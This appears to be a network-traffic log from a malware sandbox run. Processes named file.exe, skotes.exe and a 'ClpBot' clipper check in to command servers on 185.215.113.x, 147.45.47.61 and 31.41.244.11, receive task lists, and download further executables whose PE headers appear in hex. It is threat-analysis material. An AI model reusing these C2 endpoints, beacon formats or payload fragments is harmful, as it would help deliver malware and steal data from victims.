Nov 13, 2024 14:41:41.044050932 CET	1236	IN	Data Raw: 77 6f ad b3 01 a5 97 cf b9 71 e2 1d 11 29 f8 cd 92 14 b3 c8 aa 70 0a cb 3b 1b 22 4a 6f 22 ad 8d 09 77 e5 93 77 e6 ee 93 77 e6 ee 93 77 e6 ee 93 77 6f ad b3 15 19 8b df 33 5e 22 2b 4c 1a 22 c7 aa 6a c3 db ca 60 22 fa 6f 6a af 0c 9f 7e c5 c7 aa 1a Data Ascii: woq)p;"Jo"wwwwwo3^"+L"j`"oj~"T""j,<"wwwwo./T"0h7_8woj>g)5_Jkr-%-(%&vwwwoj>g)5_*JkrW-%
Nov 13, 2024 14:41:41.044065952 CET	1236	IN	Data Raw: ad 1a a5 8b af 10 68 cf ab 8e 2d 31 bf 70 0a 35 58 1b 22 4a 6f 22 ad 8d 09 77 e4 cb aa 6f ad b3 15 19 8b 4f 34 5e 22 2b 4c 1a 22 c7 aa 6a a5 b3 c7 70 c3 db ca 60 22 fa 6f 6a af 0c 9f 7e c5 c7 aa 1a 22 52 9c a3 97 b7 15 1a 8a 32 2c 5f 22 54 f8 f2 Data Ascii: h-1p5X"Jo"woO4^"+L"jp`"oj~"R2,_"T<g"q_""q#7_#r &"6oK5g6"!>tq 6g,4'"{%6\|"wwwoq6j>g
Nov 13, 2024 14:41:41.049145937 CET	1236	IN	Data Raw: 77 e6 ee 93 77 e6 ee 93 77 9f eb 3b b1 a5 23 31 ac 19 33 8a 77 e6 ee 93 77 6f ad b3 a1 5f 2a c8 00 a5 13 8f b1 06 3d 0c ab 8e 2d 31 b3 70 0a 41 53 1b 22 4a 6f 22 ad 8d 09 77 e4 cb aa e6 ee 93 77 e6 ee 93 77 e6 ee 93 77 6f ad b3 36 5f 2a 1d 36 0b Data Ascii: www;#13wwo_=-1pAS"Jo"wwwwo6_64g3`&T&r=h"9hr#-.~""wwwp8`V=jB"T&rj#-=xwwwoUN4g^jT9"Jo"4g_

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
4	192.168.2.7	50019	185.215.113.206	80	6720	C:\Users\user\Desktop\file.exe

Timestamp	Bytes transferred	Direction	Data
Nov 13, 2024 14:41:47.638479948 CET	474	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----FBGCAAAAFBKEBFHJEGCF Host: 185.215.113.206 Content-Length: 272 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 46 42 47 43 41 41 41 41 46 42 4b 45 42 46 48 4a 45 47 43 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 63 62 31 37 66 34 37 64 38 64 64 33 66 34 66 33 61 36 35 30 37 62 62 34 63 36 36 30 65 36 32 37 35 35 62 37 64 30 64 36 31 38 64 38 66 32 38 62 66 39 32 37 63 30 33 36 36 39 37 39 35 62 36 31 36 31 37 66 35 38 34 66 0d 0a 2d 2d 2d 2d 2d 2d 46 42 47 43 41 41 41 41 46 42 4b 45 42 46 48 4a 45 47 43 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 77 6b 6b 6a 71 61 69 61 78 6b 68 62 0d 0a 2d 2d 2d 2d 2d 2d 46 42 47 43 41 41 41 41 46 42 4b 45 42 46 48 4a 45 47 43 46 2d 2d 0d 0a Data Ascii: ------FBGCAAAAFBKEBFHJEGCFContent-Disposition: form-data; name="token"cb17f47d8dd3f4f3a6507bb4c660e62755b7d0d618d8f28bf927c03669795b61617f584f------FBGCAAAAFBKEBFHJEGCFContent-Disposition: form-data; name="message"wkkjqaiaxkhb------FBGCAAAAFBKEBFHJEGCF--
Nov 13, 2024 14:41:49.065531969 CET	203	IN	HTTP/1.1 200 OK Date: Wed, 13 Nov 2024 13:41:48 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
5	192.168.2.7	50114	185.215.113.43	80	2144	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 13, 2024 14:42:48.438282967 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Nov 13, 2024 14:42:49.339102983 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 13 Nov 2024 13:42:49 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
6	192.168.2.7	50115	185.215.113.43	80	2144	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 13, 2024 14:42:50.938230038 CET	316	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 162 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 44 42 37 32 38 37 36 42 38 35 31 38 32 44 31 32 46 43 34 37 44 42 32 33 43 41 39 36 34 46 46 35 36 34 43 33 38 42 33 37 33 37 30 33 35 42 31 45 36 30 43 38 44 30 45 39 33 39 46 42 36 30 38 42 45 43 35 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7DB72876B85182D12FC47DB23CA964FF564C38B3737035B1E60C8D0E939FB608BEC5
Nov 13, 2024 14:42:52.024461031 CET	842	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 13 Nov 2024 13:42:51 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 32 38 62 0d 0a 20 3c 63 3e 31 30 30 35 38 32 34 30 30 31 2b 2b 2b 66 63 38 66 37 63 31 65 64 33 63 30 66 39 63 33 30 62 34 62 61 65 64 37 34 63 36 31 33 39 35 64 37 66 61 63 30 30 62 35 38 39 38 37 65 38 65 38 66 65 62 64 64 62 33 30 38 30 34 30 34 32 62 61 35 63 65 39 30 32 34 31 35 34 35 30 23 31 30 30 35 38 39 33 30 30 31 2b 2b 2b 62 35 39 33 37 63 31 61 64 30 63 30 66 39 63 33 35 37 31 32 65 39 39 61 31 62 32 30 34 63 31 37 32 62 65 62 31 65 66 36 64 39 63 33 61 34 65 65 65 32 62 35 63 35 33 31 39 35 35 33 35 39 61 65 35 32 61 39 34 64 34 36 35 66 31 62 38 38 64 30 61 62 31 37 62 62 65 33 64 31 34 38 32 62 23 31 30 30 35 39 35 36 30 30 31 2b 2b 2b 62 35 39 33 37 63 31 61 39 39 64 35 66 39 64 66 30 62 35 64 61 66 63 38 35 30 36 32 33 38 34 37 36 30 61 63 30 32 62 34 64 65 64 38 61 62 65 65 65 31 66 62 64 39 37 65 39 63 34 35 34 33 62 33 31 64 65 31 35 34 34 31 23 31 30 30 35 39 38 31 30 30 31 2b 2b 2b 66 63 38 66 37 63 31 65 64 33 63 30 66 39 63 33 30 62 34 62 61 65 64 37 34 63 36 31 33 39 35 64 [TRUNCATED] Data Ascii: 28b <c>1005824001+++fc8f7c1ed3c0f9c30b4baed74c61395d7fac00b58987e8e8febddb30804042ba5ce902415450#1005893001+++b5937c1ad0c0f9c35712e99a1b204c172beb1ef6d9c3a4eee2b5c531955359ae52a94d465f1b88d0ab17bbe3d1482b#1005956001+++b5937c1a99d5f9df0b5dafc85062384760ac02b4ded8abeee1fbd97e9c4543b31de15441#1005981001+++fc8f7c1ed3c0f9c30b4baed74c61395d7fac00b58987e8e7e7b9ca30804042ba5ce902415450#1005982001+++fc8f7c1ed3c0f9c30b4baed74c61395d7fac00b58987e8f8e6b1ca72dd534db057eb410a494d9d#1005983031+++b5937c1a99d5f9dd0246b5cb4f6522427fae1daa8e9eb4fff7b5c630804042ba5ce902415450#1005984001+++fc8f7c1ed3c0f9c30b4baed74c61395d7fac00b58987e8e4f4b2846d934f48b15eaa495c49#<d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
7	192.168.2.7	50116	185.215.113.16	80	2144	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 13, 2024 14:42:52.048691034 CET	55	OUT	GET /clip/random.exe HTTP/1.1 Host: 185.215.113.16
Nov 13, 2024 14:42:52.941411972 CET	1236	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 13 Nov 2024 13:42:52 GMT Content-Type: application/octet-stream Content-Length: 3634688 Last-Modified: Tue, 12 Nov 2024 20:57:00 GMT Connection: keep-alive ETag: "6733c11c-377600" Accept-Ranges: bytes Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 28 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 d6 cb 0a ab 92 aa 64 f8 92 aa 64 f8 92 aa 64 f8 d9 d2 67 f9 99 aa 64 f8 d9 d2 61 f9 5f aa 64 f8 d9 d2 60 f9 80 aa 64 f8 82 2e 67 f9 98 aa 64 f8 82 2e 60 f9 81 aa 64 f8 82 2e 61 f9 f1 aa 64 f8 92 aa 64 f8 8e aa 64 f8 da 2f 60 f9 61 ab 64 f8 da 2f 61 f9 b6 aa 64 f8 da 2f 67 f9 93 aa 64 f8 d9 d2 65 f9 9d aa 64 f8 92 aa 65 f8 7d aa 64 f8 d9 2f 6d f9 96 aa 64 f8 d9 2f 9b f8 93 aa 64 f8 d9 2f 66 f9 93 aa 64 f8 52 69 63 68 92 aa 64 f8 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 64 86 06 00 0a c1 33 67 00 00 00 00 00 00 00 00 f0 00 22 00 0b 02 0e 29 00 bc 1b 00 00 1c 1c 00 00 00 00 00 b0 38 [TRUNCATED] Data Ascii: MZ@(!L!This program cannot be run in DOS mode.$dddgda_d`d.gd.`d.addd/`ad/ad/gdede}d/md/d/fdRichdPEd3g")8@8`D5767[h4pk4(g4@.textl `.rdatav@@.data5B5@.pdata66@@.rsrc77@@.reloc[7\7@B
Nov 13, 2024 14:42:52.941509962 CET	112	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 8b 01 4c 8d 04 02 f0 44 0f b1 01 75 f5 44 89 c0 48 98 f3 c3 90 90 90 90 90 Data Ascii: LDuDH1H HH\|$H
Nov 13, 2024 14:42:52.941592932 CET	1236	IN	Data Raw: 74 24 10 48 89 e0 48 89 cf 49 89 d8 31 c0 48 89 47 08 0f a2 41 89 c3 31 c0 81 fb 47 65 6e 75 0f 95 c0 41 89 c1 81 fa 69 6e 65 49 0f 95 c0 41 09 c1 81 f9 6e 74 65 6c 0f 95 c0 41 09 c1 0f 84 87 00 00 00 81 fb 41 75 74 68 0f 95 c0 41 89 c2 81 fa 65 Data Ascii: t$HHI1HGA1GenuAineIAntelAAuthAentiAcAMDAua=rSAAAAr6LID8AArAAA
Nov 13, 2024 14:42:52.942101002 CET	1236	IN	Data Raw: 07 00 00 00 0f 84 11 08 00 00 e9 8f 02 00 00 90 90 90 90 90 90 53 55 41 54 41 55 41 56 41 57 49 f7 d9 49 89 e3 4e 8d 54 cc f0 49 f7 d9 49 81 e2 00 fc ff ff 4d 29 d3 49 81 e3 00 f0 ff ff 4b 8d 24 1a 4c 8b 1c 24 4c 39 d4 77 0a eb 19 90 90 90 90 90 Data Ascii: SUATAUAVAWIINTIIM)IK$L$L9wH$L$L9wJDIMI$HM1M1LHIHIIHIHFHIM*IJHMMHNlIHIJHMIHM9uIH
Nov 13, 2024 14:42:52.942118883 CET	324	IN	Data Raw: 49 89 d3 48 f7 e5 49 01 c2 48 8b 46 08 48 83 d2 00 48 89 d7 48 f7 e3 49 01 c3 48 8b 41 08 48 83 d2 00 4c 03 5c 24 08 48 83 d2 00 49 89 d2 48 f7 e5 48 01 c7 48 8b 46 10 48 83 d2 00 4c 01 df 4d 8d 7f 04 48 83 d2 00 48 89 3c 24 49 89 d5 eb 01 90 48 Data Ascii: IHIHFHHHIHAHL\$HIHHHFHLMHH<$IHIJDHNTHIHIJDHMHNlHHIJDHN\HIHHJHLHJ\|IHIJHNHIHIJDHMHN
Nov 13, 2024 14:42:52.943058968 CET	1236	IN	Data Raw: c2 4a 8b 44 f9 f0 48 83 d2 00 4e 03 54 fc f0 48 83 d2 00 49 89 d3 48 f7 e5 49 01 c5 4a 8b 44 fe f8 48 83 d2 00 4d 01 d5 48 83 d2 00 4e 89 6c fc e8 48 89 d7 48 f7 e3 49 01 c3 4a 8b 44 f9 f8 48 83 d2 00 4e 03 5c fc f8 48 83 d2 00 4d 8d 76 01 49 89 Data Ascii: JDHNTHIHIJDHMHNlHHIJDHN\HMvIHHHHLHJ\|IH1MHN,HNlJ<M9J\|MyH$HT$IH4$M1H+H^HnHQJJTJ\JD JT(JlJ\JlJD J\0Jl
Nov 13, 2024 14:42:52.943083048 CET	1236	IN	Data Raw: 90 90 90 90 90 90 90 90 90 48 8d 7a 08 48 8b 12 48 8d 5c 24 60 49 89 d1 c4 e2 bb f6 06 c4 62 a3 f6 76 08 49 01 c3 48 89 7c 24 08 c4 62 9b f6 6e 10 4d 11 f4 49 83 d5 00 4c 89 c7 4c 0f af 44 24 18 48 31 ed c4 62 fb f6 76 18 4c 89 c2 48 8d 76 20 66 Data Ascii: HzHH\$`IbvIH\|$bnMILLD$H1bvLHv fL8fL8bfH8M8bYfL8M8bH\|$0LSfL8M8byLL[fL8L8HI LcfL8fM8bvfL8FfM8
Nov 13, 2024 14:42:52.943100929 CET	1236	IN	Data Raw: 59 50 54 4f 47 41 4d 53 20 62 79 20 3c 61 70 70 72 6f 40 6f 70 65 6e 73 73 6c 2e 6f 72 67 3e 00 90 90 90 90 90 56 57 53 55 41 54 41 55 41 56 41 57 9c 48 83 ec 40 49 8b 40 78 49 8b 98 f8 00 00 00 49 8b 71 08 4d 8b 59 38 45 8b 13 4e 8d 14 16 4c 39 Data Ascii: YPTOGAMS by <appro@openssl.org>VWSUATAUAVAWH@I@xIIqMY8ENL9IESNL9MJD[VWSUATAUAVAWH@I@xIIqMY8ENL9rgESNL9rIESNL9sFH@(HXHhL`LhLpLxI
Nov 13, 2024 14:42:52.943883896 CET	636	IN	Data Raw: 0f eb c1 4d 8d a4 24 00 01 00 00 66 48 0f 7e c3 4d 8b 00 48 8b 06 4d 31 f6 4d 31 ff 4c 89 c5 48 f7 e3 49 89 c2 48 8b 01 49 0f af ea 49 89 d3 48 f7 e5 49 01 c2 48 8b 46 08 48 83 d2 00 49 89 d5 4d 8d 7f 01 eb 28 90 90 90 90 90 90 90 90 90 90 90 49 Data Ascii: M$fH~MHM1M1LHIHIIHIHFHIM(IJHMMHNlIHIJHMIHM9uIHMHNlIMH1MHNlJMvJHfffAoD$fAoL$fAoT$fAo\$f
Nov 13, 2024 14:42:52.943903923 CET	1236	IN	Data Raw: d5 4e 8b 14 cc 48 83 d2 00 4e 89 6c cc f0 49 89 d5 48 31 d2 4d 01 dd 48 83 d2 00 4d 01 d5 48 83 d2 00 4e 89 6c cc f8 4a 89 14 cc 4d 8d 76 01 4d 39 ce 0f 82 0d fe ff ff 4d 31 f6 48 8b 04 24 48 8d 34 24 4d 89 cf eb 0d 90 90 90 90 90 90 90 90 90 90 Data Ascii: NHNlIH1MHMHNlJMvM9M1H$H4$MJJJDMvIuHHH1M1MJJH!H!N4HJMvIuJtL~LvLnLfHnH^H&H\|$Ht$H\|$Ht$HH
Nov 13, 2024 14:42:52.946484089 CET	1236	IN	Data Raw: ea 4c 8d 74 24 48 49 89 d3 48 f7 e5 49 01 c2 4a 8b 44 0e 08 48 83 d2 00 48 89 d7 48 f7 e3 49 01 c3 48 8b 41 08 48 83 d2 00 49 89 d2 48 f7 e5 48 01 c7 4a 8b 44 0e 10 48 83 d2 00 4c 01 df 4d 8d 79 20 48 8d 49 20 48 83 d2 00 49 89 3e 49 89 d5 eb 1f Data Ascii: Lt$HIHIJDHHHIHAHIHHJDHLMy HI HI>IHIHAMv HIHIJD>HMHMnHHIHAHIHHJ>HLHI~IHIHHIHIJD>HMH

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
8	192.168.2.7	50117	208.95.112.1	80	8684	C:\Users\user\AppData\Local\Temp\1005824001\591832b8e5.exe

Timestamp	Bytes transferred	Direction	Data
Nov 13, 2024 14:43:00.046071053 CET	86	OUT	GET /line/ HTTP/1.1 User-Agent: ClpBot Host: ip-api.com Cache-Control: no-cache
Nov 13, 2024 14:43:00.642618895 CET	321	IN	HTTP/1.1 200 OK Date: Wed, 13 Nov 2024 13:43:00 GMT Content-Type: text/plain; charset=utf-8 Content-Length: 150 Access-Control-Allow-Origin: * X-Ttl: 60 X-Rl: 44 Data Raw: 73 75 63 63 65 73 73 0a 55 6e 69 74 65 64 20 53 74 61 74 65 73 0a 55 53 0a 54 58 0a 54 65 78 61 73 0a 4b 69 6c 6c 65 65 6e 0a 37 36 35 34 39 0a 33 31 2e 30 30 36 35 0a 2d 39 37 2e 38 34 30 36 0a 41 6d 65 72 69 63 61 2f 43 68 69 63 61 67 6f 0a 51 75 61 64 72 61 4e 65 74 0a 4f 4d 47 49 54 53 46 41 53 54 0a 41 53 38 31 30 30 20 51 75 61 64 72 61 4e 65 74 20 45 6e 74 65 72 70 72 69 73 65 73 20 4c 4c 43 0a 31 37 33 2e 32 35 34 2e 32 35 30 2e 38 32 0a Data Ascii: successUnited StatesUSTXTexasKilleen7654931.0065-97.8406America/ChicagoQuadraNetOMGITSFASTAS8100 QuadraNet Enterprises LLC173.254.250.82

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
9	192.168.2.7	50118	147.45.47.61	8888	8684	C:\Users\user\AppData\Local\Temp\1005824001\591832b8e5.exe

Timestamp	Bytes transferred	Direction	Data
Nov 13, 2024 14:43:00.791337013 CET	121	OUT	GET /6621357ed8034a07b39d149a6f3e52d8/ HTTP/1.1 User-Agent: ClpBot Host: 147.45.47.61:8888 Cache-Control: no-cache
Nov 13, 2024 14:43:01.649410009 CET	124	IN	HTTP/1.1 200 OK date: Wed, 13 Nov 2024 13:43:00 GMT server: uvicorn content-length: 5 content-type: application/json

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
10	192.168.2.7	50119	185.215.113.43	80	2144	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 13, 2024 14:43:01.567167997 CET	184	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 31 Cache-Control: no-cache Data Raw: 64 31 3d 31 30 30 35 38 32 34 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1005824001&unit=246122658369
Nov 13, 2024 14:43:02.506411076 CET	193	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 13 Nov 2024 13:43:02 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 34 0d 0a 20 3c 63 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 4 <c>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
11	192.168.2.7	50121	208.95.112.1	80	4900	C:\Users\user\AppData\Local\exploma.exe.exe

Timestamp	Bytes transferred	Direction	Data
Nov 13, 2024 14:43:04.482431889 CET	86	OUT	GET /line/ HTTP/1.1 User-Agent: ClpBot Host: ip-api.com Cache-Control: no-cache
Nov 13, 2024 14:43:05.071964025 CET	321	IN	HTTP/1.1 200 OK Date: Wed, 13 Nov 2024 13:43:04 GMT Content-Type: text/plain; charset=utf-8 Content-Length: 150 Access-Control-Allow-Origin: * X-Ttl: 55 X-Rl: 43 Data Raw: 73 75 63 63 65 73 73 0a 55 6e 69 74 65 64 20 53 74 61 74 65 73 0a 55 53 0a 54 58 0a 54 65 78 61 73 0a 4b 69 6c 6c 65 65 6e 0a 37 36 35 34 39 0a 33 31 2e 30 30 36 35 0a 2d 39 37 2e 38 34 30 36 0a 41 6d 65 72 69 63 61 2f 43 68 69 63 61 67 6f 0a 51 75 61 64 72 61 4e 65 74 0a 4f 4d 47 49 54 53 46 41 53 54 0a 41 53 38 31 30 30 20 51 75 61 64 72 61 4e 65 74 20 45 6e 74 65 72 70 72 69 73 65 73 20 4c 4c 43 0a 31 37 33 2e 32 35 34 2e 32 35 30 2e 38 32 0a Data Ascii: successUnited StatesUSTXTexasKilleen7654931.0065-97.8406America/ChicagoQuadraNetOMGITSFASTAS8100 QuadraNet Enterprises LLC173.254.250.82

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
12	192.168.2.7	50122	147.45.47.61	8888	4900	C:\Users\user\AppData\Local\exploma.exe.exe

Timestamp	Bytes transferred	Direction	Data
Nov 13, 2024 14:43:05.199372053 CET	121	OUT	GET /6621357ed8034a07b39d149a6f3e52d8/ HTTP/1.1 User-Agent: ClpBot Host: 147.45.47.61:8888 Cache-Control: no-cache
Nov 13, 2024 14:43:06.053623915 CET	124	IN	HTTP/1.1 200 OK date: Wed, 13 Nov 2024 13:43:04 GMT server: uvicorn content-length: 5 content-type: application/json

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
13	192.168.2.7	50123	185.215.113.43	80	2144	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 13, 2024 14:43:07.660231113 CET	184	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 31 Cache-Control: no-cache Data Raw: 64 31 3d 31 30 30 35 38 39 33 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1005893001&unit=246122658369
Nov 13, 2024 14:43:08.581334114 CET	193	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 13 Nov 2024 13:43:08 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 34 0d 0a 20 3c 63 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 4 <c>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
14	192.168.2.7	50124	31.41.244.11	80	2144	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 13, 2024 14:43:08.591335058 CET	54	OUT	GET /files/random.exe HTTP/1.1 Host: 31.41.244.11
Nov 13, 2024 14:43:09.478662968 CET	1236	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 13 Nov 2024 13:43:09 GMT Content-Type: application/octet-stream Content-Length: 4420608 Last-Modified: Wed, 13 Nov 2024 13:10:10 GMT Connection: keep-alive ETag: "6734a532-437400" Accept-Ranges: bytes Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 07 00 72 e6 2e 67 00 00 00 00 00 00 00 00 e0 00 0e 03 0b 01 02 28 00 10 48 00 00 1c 69 00 00 32 00 00 00 60 bb 00 00 10 00 00 00 20 48 00 00 00 40 00 00 10 00 00 00 02 00 00 04 00 00 00 01 00 00 00 04 00 00 00 00 00 00 00 00 90 bb 00 00 04 00 00 dd 1a 44 00 02 00 40 00 00 00 20 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 5f 90 66 00 73 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 64 40 bb 00 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 14 40 bb 00 18 00 00 00 00 00 00 00 00 00 00 00 00 00 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$PELr.g(Hi2` H@D@ _fsd@@ pfh'@.rsrc fx'@.idata fx'@ 8fz'@jmqspsjfp\|'@jobrljgyPNC@.taggant0`"RC@
Nov 13, 2024 14:43:09.478688002 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 13, 2024 14:43:09.478717089 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 13, 2024 14:43:09.478740931 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 13, 2024 14:43:09.478764057 CET	848	IN	Data Raw: ca 4c 40 a3 0b 23 96 e4 94 4b 3c ce ee 10 37 c2 cb 18 9e be cf 18 01 b6 96 0a b7 d2 80 c9 bb 39 1d 13 e8 c9 b3 be 5c da e3 f2 54 bd 78 ed 4c 9a 0b 15 4b 23 1d 3a 52 e9 96 98 3b 8e 95 04 fd 8d a2 2c 1e ab 0e 63 5c fe 7d 11 75 43 3c 4a fe 5b 95 30 Data Ascii: L@#K<79\TxLK#:R;,c\}uC<J[0HeVt R.bDeezeM9n?F=^l=FXvE>kHhe&hk{bf\|WrPAj>k}GQZQ{F5\|Lei#rF.
Nov 13, 2024 14:43:09.478776932 CET	1236	IN	Data Raw: bf a4 e6 03 e7 cb 65 31 f5 37 bd d2 0f 91 1a 75 c7 07 a5 20 77 45 7e 03 2d cc 1e 54 92 68 fa 9b 13 ea 81 9b 5f ea 03 04 13 0e 5a 96 8f e2 19 5d d0 08 c2 54 8d 0c 37 8c 5f 8c ee 93 db 1a 32 9e 0e a9 2a 39 0e 80 a5 2b 73 f2 3d 61 19 bd b6 7c 77 8c Data Ascii: e17u wE~-Th_Z]T7_2*9+s=a\|wv~]VY\|^}#XIq;vqZ8u0}u8T$e"jLRm'US_AfZ9rk#$1kd{9fj>4NN^.\|]c~%
Nov 13, 2024 14:43:09.478790998 CET	1236	IN	Data Raw: 5d 39 24 ae 70 f6 65 99 0c a7 7e 8e e8 8e 4d 72 9e ba e5 f4 1b 8a 73 35 4a 07 c4 7b 11 45 cc 57 9f e9 d1 86 9c c3 64 b4 b5 44 49 01 9e 98 6d 89 f7 9f ab 9c eb 85 ed 9c 36 1d e0 f2 0a 78 5c aa e5 11 59 1c b6 28 ac 02 09 d0 57 55 6e f0 d4 61 cc c2 Data Ascii: ]9$pe~Mrs5J{EWdDIm6x\Y(WUnay~Rl>gefgDY}03m[7E_jPA=^W=ic3;dfrH~~Q-?T\N{O)H[7\Y\#=SJp;
